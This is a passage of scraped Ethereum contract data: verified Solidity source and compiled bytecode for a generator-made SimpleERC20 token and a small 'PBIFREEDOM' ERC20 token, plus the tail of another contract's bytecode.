8f55a4df523b3ef836040518082815260200191505060405180910390a37f9ccd64da80c0a8ca180ce9164a0c47eb5fc4ffc297dff0cf0cd0c80c2f9541078382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b60135481565b670de0b6b3a76400006402540be4000281565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b9f57600080fd5b670de0b6b3a764000082029050613bc1816009546145c990919063ffffffff16565b670de0b6b3a76400006359682f000210151515613bdd57600080fd5b613bf2816005546145c990919063ffffffff16565b600581905550613c0d816009546145c990919063ffffffff16565b600981905550613c2881600c546145c990919063ffffffff16565b600c81905550613c8081601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f7d410e2af71610bf42f7f1a3f842066f047ac95e99a12d707a6fefe97f78dfd78382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b670de0b6b3a76400006359682f000281565b6000601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613f2b57600080fd5b601d54613f36612a50565b111515613f4257600080fd5b6000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515613f9057600080fd5b60011515602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515613fef57600080fd5b614080602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507feef695179f32a259b4e1d43586777c5f2084992250f70c429dd6385cefdeb78381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156141c957600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561422557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561426157600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2ae143016adc0aa482e6ba5d9a350f3e3122aeb005ca4bf47d1d7b8221bce47260405160405180910390a350565b60105481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561438057600080fd5b601c5461438b612a50565b11151561439757600080fd5b6000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156143e557600080fd5b60011515602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561444457600080fd5b6144d5602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507feef695179f32a259b4e1d43586777c5f2084992250f70c429dd6385cefdeb78381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b60175481565b60008082840190508381101515156145dd57fe5b8091505092915050565b60008082840290506000841480614608575082848281151561460557fe5b04145b151561461057fe5b8091505092915050565b600080905060011515601a60009054906101000a900460ff161515141561464057600190505b60011515602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806146ef575060011515602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b156146f957600190505b60011515602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806147a8575060011515602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b156147b257600190505b80905092915050565b60008282111515156147c957fe5b8183039050929150505600a165627a7a723058208eaed8c50b378a0d5cce8478fd6c5b98c1cb9fbcaaf7e88cd9487283b2bbdc570029
[ 38 ]
0xf30b29fC0F284bD45cdf6A27003D5c7eCF13e7be
// SPDX-License-Identifier: MIT /* * Token has been generated using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor(string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.1.0") { constructor( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e9919061084a565b60405180910390f35b610105610100366004610820565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e4565b6102a4565b604051601281526020016100e9565b610105610157366004610820565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab366004610820565b6103cf565b6101056101be366004610820565b61046a565b6101196101d13660046107b1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108ce565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b7565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a90869061089f565b60606005805461020b906108ce565b60606040518060600160405280602f8152602001610920602f9139905090565b60606004805461020b906108ce565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b7565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b7565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061071990849061089f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a157600080fd5b6107aa82610773565b9392505050565b600080604083850312156107c457600080fd5b6107cd83610773565b91506107db60208401610773565b90509250929050565b6000806000606084860312156107f957600080fd5b61080284610773565b925061081060208501610773565b9150604084013590509250925092565b6000806040838503121561083357600080fd5b61083c83610773565b946020939093013593505050565b600060208083528351808285015260005b818110156108775785810183015185820160400152820161085b565b81811115610889576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108b2576108b2610909565b500190565b6000828210156108c9576108c9610909565b500390565b600181811c908216806108e257607f821691505b6020821081141561090357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a2646970667358221220e1cb1ec4713999b055846bd58065f9bed5457fbbe38e19f8a1bdacac619b2c4664736f6c63430008050033
[ 38 ]
0xF30b87948c6C475a4721F8c175103079d84F20c7
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract PBIFREEDOM is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "PBIFREEDOM"; symbol = "PBI"; decimals = 18; _totalSupply = 100000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca